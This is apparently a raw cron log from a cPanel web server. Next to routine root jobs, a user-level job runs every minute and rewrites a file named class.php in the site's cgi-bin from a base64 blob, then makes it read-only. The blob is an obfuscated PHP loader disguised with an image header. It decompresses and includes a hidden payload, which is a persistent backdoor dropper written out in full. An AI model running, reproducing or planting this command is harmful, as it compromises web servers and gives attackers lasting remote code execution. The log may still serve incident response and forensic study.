Nov 14 04:48:01 server CROND[393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:49:01 server CROND[1011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:50:01 server CROND[1755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:50:01 server CROND[1756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:50:01 server CROND[1758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:50:01 server CROND[1759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:50:01 server CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 04:51:01 server CROND[2626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:52:01 server CROND[3486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:53:01 server CROND[4345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:54:01 server CROND[5199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:55:01 server CROND[6062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:55:01 server CROND[6063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:55:01 server CROND[6064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:56:01 server CROND[7063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:57:01 server CROND[7931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 04:57:01 server CROND[7932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:58:01 server CROND[8880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:59:01 server CROND[9818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:00:02 server CROND[10237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:00:02 server CROND[10240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:00:02 server CROND[10241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:00:02 server CROND[10242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:01:01 server CROND[11195]: (root) CMD (run-parts /etc/cron.hourly)
